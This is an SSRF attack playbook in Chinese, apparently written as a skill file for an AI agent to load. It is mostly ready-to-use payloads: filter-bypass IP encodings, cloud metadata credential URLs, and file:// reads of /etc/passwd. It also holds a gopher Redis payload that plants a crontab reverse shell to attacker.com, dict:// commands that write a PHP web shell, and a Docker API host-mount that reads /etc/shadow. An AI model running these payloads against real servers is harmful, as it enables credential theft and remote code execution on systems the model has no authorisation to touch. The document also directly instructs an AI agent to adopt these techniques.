SSRF 實戰手冊。當伺服器會抓取 URL、解析主機名稱、匯入遠端內容,或者可能被導向內部網路、雲端元資料(cloud metadata)或次要協定(secondary protocols)時使用。
SKILL:伺服器端請求偽造 (SSRF) — 專家級攻擊手冊
AI 載入指令:專家級 SSRF 技術。涵蓋 URL 過濾器繞過、雲端元資料端點、協定利用、盲 SSRF(Blind SSRF)偵測,以及組合鏈至 RCE。基礎模型僅瞭解基本的 169.254.169.254 — 本檔案補足其遺漏之處。若需真實世界 CVE 鏈、DNS 重綁定(DNS Rebinding)深入探討、K8s SSRF 以及 SSRF → Redis → RCE 完整利用,請載入附屬檔案 SCENARIOS.md。
0. 快速入門
擴充情境
當你需要以下內容時,也請載入 SCENARIOS.md:
- WebLogic SSRF (CVE-2014-4210) —
uddiexplorer/SearchPublicRegistries.jsp+operator參數 +%0D%0ACRLF 注入 Redis 命令 - SSRF → 內部 Redis → 寫入 crontab 反向 Shell 完整 Payload 鏈
- DNS 重綁定(DNS Rebinding)深入解析 — TTL=0 技巧、首次合法→二次內部解析、
rbndr.us服務 - Kubernetes SSRF (CVE-2020-8555) 以及透過 DNS 重綁定的繞過方式 (CVE-2020-8562)
- 透過 PDF/截圖生成器的 SSRF — HTML-to-PDF 中的
<iframe>與<img> - Gopher 協定完整 TCP 注入 — 透過 Gopherus 生成 Redis、MySQL、FastCGI 的 Payload
- 用於繞過過濾器的 URL 解析器混淆 —
#@,\@,%00@, IPv6 映射的 IPv4
進階參考資料
當你需要以下內容時,也請載入 URL_PARSER_TRICKS.md:
- URL 解析器差異對照表:Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
- 完整雲端元資料端點目錄(AWS IMDSv1/v2、GCP、Azure、DigitalOcean、阿里雲、Oracle Cloud、Kubernetes、Hetzner、OpenStack)
- 適用於 Redis、MySQL、SMTP、FastCGI、Memcached 的 gopher:// payload 範本(含編碼規則)
- DNS 重綁定詳細攻擊流程(含 TTL 操控與 TOCTOU 分析)
- PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS 的 SSRF 模式與資料外洩技術
若你剛發現一個會抓取 URL 的參數,請直接在此進行首輪確認。
首輪驗證 Payload
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/
主機驗證繞過類型
| 驗證類型 | 嘗試方法 |
|---|---|
封鎖 localhost 字串 |
127.0.0.1, 127.1, [::1] |
| 僅封鎖直接 IP | 內部 DNS 名稱、十進位/八進位/十六進位 IP 形式 |
| 前綴白名單 | 使用者名稱部分、子網域混淆、重新導向鏈 |
| 跟隨重新導向 | 重新導向至內部目標的無害外部 URL |
| 解析一次,抓取兩次 | 混合編碼或 DNS 重綁定類型的目標 |
協定路由
| 目標 | 協定 / 目標 |
|---|---|
| 雲端憑證 | 元資料 HTTP 端點 |
| 內部 HTTP 後台管理 | http://127.0.0.1:port/ |
| Redis / 原始 TCP 類型濫用 | gopher:// |
| 本地檔案讀取候選 | file:// |
| 字典 / Banner 測試 | dict:// |
1. 尋找 SSRF 攻擊面
尋找任何包含 DNS 名稱、IP 位址或 URL 的參數:
loc= url= path= endpoint=
imageUrl= dest= redirect= uri=
callback= load= file= resource=
link= src= data= ref=
較不明顯的 SSRF 向量:
- PDF/截圖生成(要擷取的 URL)
- Webhook 設定欄位
- 透過 URL 進行匯入/匯出(CSV 匯入、RSS/Atom Feed)
- OAuth 重新導向 URI(有時會觸發伺服器端抓取)
- 代理鏈中的
X-Forwarded-Host/X-Real-IP標頭 - 包含外部實體的 XML
DOCTYPE(file://,http://) - GraphQL
@link指令(聯合/Federation) - 解析 Content-Type:
text/html頁面中的<link>預載標頭
2. 基本驗證方法學
步驟 1:提供你的 Burp Collaborator / interact.sh URL
→ 確認伺服器發起出站連線(確認為完整 SSRF)
步驟 2:若無回呼 (Callback) → 測試基於時間的差異(開啟的埠號 = 快速,關閉 = 緩慢/重置):
比較以下項目的回應時間:
http://192.168.1.1:22 (可能開啟 → 快速)
http://192.168.1.1:9999 (可能關閉 → 緩慢/逾時)
步驟 3:嘗試存取 localhost 服務:
http://127.0.0.1:8080
http://127.0.0.1:22
http://127.0.0.1:6379 (Redis)
http://127.0.0.1:9200 (Elasticsearch)
http://127.0.0.1:5984 (CouchDB)
http://127.0.0.1:2375 (Docker daemon — 高危!)
http://127.0.0.1:4840 (內部管理介面)
3. 雲端元資料端點 — 必試項目
AWS EC2 IMDSv1(無需身分驗證 — 高危)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
AWS IMDSv2(需要 Token — 但需檢查 SSRF 是否能取得 Token)
步驟 1:PUT http://169.254.169.254/latest/api/token
標頭:X-aws-ec2-metadata-token-ttl-seconds: 21600
步驟 2:GET http://169.254.169.254/latest/meta-data/
標頭:X-aws-ec2-metadata-token: TOKEN
若 SSRF 支援自訂標頭 → 可完全繞過 IMDSv2。
Google Cloud
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
阿里雲(Alibaba Cloud)
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
Kubernetes Service Account
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets
4. IP 位址過濾器繞過技術
當 169.254.169.254、127.0.0.1、localhost 被封鎖時:
Localhost 變體
127.0.0.1
127.1
127.0.1
127.000.000.001 ← octal padding
0x7f000001 ← hex
2130706433 ← decimal (0x7f000001)
0177.0000.0000.0001 ← octal
[::] ← IPv6 loopback
[::1] ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6
169.254.169.254 變體
169.254.169.254
2852039166 ← decimal
0xa9fea9fe ← hex
0251.0376.0251.0376 ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io ← DNS rebinding service
私有網路範圍
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7 ← IPv6 private
透過 DNS 輸入繞過過濾器
若過濾器檢查的是 DNS 解析後的 IP(而非主機名稱):
http://attacker.com/ ← DNS A record points to 169.254.169.254
使用 DNS 重綁定:第一次查詢傳回合法 IP → 通過過濾器 → 第二次請求傳回內部 IP。
5. URL SCHEME 攻擊
當 http:// 被允許或僅受到微弱過濾時:
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp ← reveals internal network ARP table
file:///proc/net/tcp ← open network connections
dict://127.0.0.1:6379/INFO ← Redis INFO command via dict://
gopher://127.0.0.1:6379/_INFO%0d%0a ← Redis via gopher
gopher://127.0.0.1:9200/ ← Elasticsearch
sftp://attacker.com:11111/ ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/ ← triggers LDAP bind
ftp://attacker.com/ ← triggers FTP connection
Redis Gopher SSRF(具備完整 RCE 潛力)
gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
6. 盲 SSRF 偵測
當回應未反映抓取的內容時:
- Burp Collaborator / interact.sh:檢查是否有來自伺服器的 DNS + HTTP 請求
- Pingback / Webhook 濫用:將應用程式本身的 Webhook 設定指向你的 URL
- 時間分析:內部開啟埠號與關閉埠號之間的回應時間差異
- 錯誤分析:「找不到主機 (host not found)」、「連線被拒 (connection refused)」與「逾時 (timeout)」的不同錯誤訊息可揭露內部網路拓撲
7. 內部服務利用
Docker API(2375 未經身分驗證)
http://127.0.0.1:2375/v1.24/containers/json ← list containers
http://127.0.0.1:2375/v1.24/images/json ← list images
# Create privileged container → escape to host:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
Elasticsearch(9200 預設免驗證)
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*
Redis(6379 — 常見無驗證)
dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE
內部管理面板
http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump
8. SSRF + 過濾器繞過決策樹
找到 SSRF 參數?
├── 直接嘗試 http://169.254.169.254/ → 被封鎖?
│ ├── 嘗試十進位/十六進位/八進位變體
│ ├── 嘗試 IPv6 變體 [::ffff:169.254.169.254]
│ ├── 嘗試 DNS 重綁定 (nip.io、自訂 NS)
│ └── 嘗試重新導向:attacker.com → 169.254.169.254 (302)
│
├── 嘗試 http://127.0.0.1/ → 被封鎖?
│ ├── 嘗試 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│ ├── 嘗試 localhost → 可能未被封鎖
│ └── 嘗試 IPv6 [::1]
│
├── 允許哪些協定?
│ ├── dict:// → 測試 Redis、Memcached
│ ├── gopher:// → 完整 TCP 資料注入(目標 Redis/SMTP)
│ ├── file:// → 本地檔案讀取
│ └── sftp:// ldap:// ftp:// → 網路互動
│
└── 盲 SSRF (Blind SSRF) → 使用 Burp Collaborator
└── 僅限 DNS → 使用 DNS 重綁定或搭配 OOB DNS 的 SSRF
9. SSRF 過濾器防護心態
源自 zseano 的方法論:若開發者僅直接過濾 169.254.169.254,卻未過濾 http://169.254.169.254/latest/meta-data(完整路徑),或忽略了:
- IPv6 等價位址
- 解析為內部 IP 的 DNS 名稱
- 重新導向鏈(伺服器跟隨 302 跳轉至內部 IP)
經典盲點:應用程式過濾了 127.0.0.1,但未過濾 127.1、[::1] 或 localhost。
透過 XML 的應用層 SSRF(當應用程式解析 XML 時):
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>






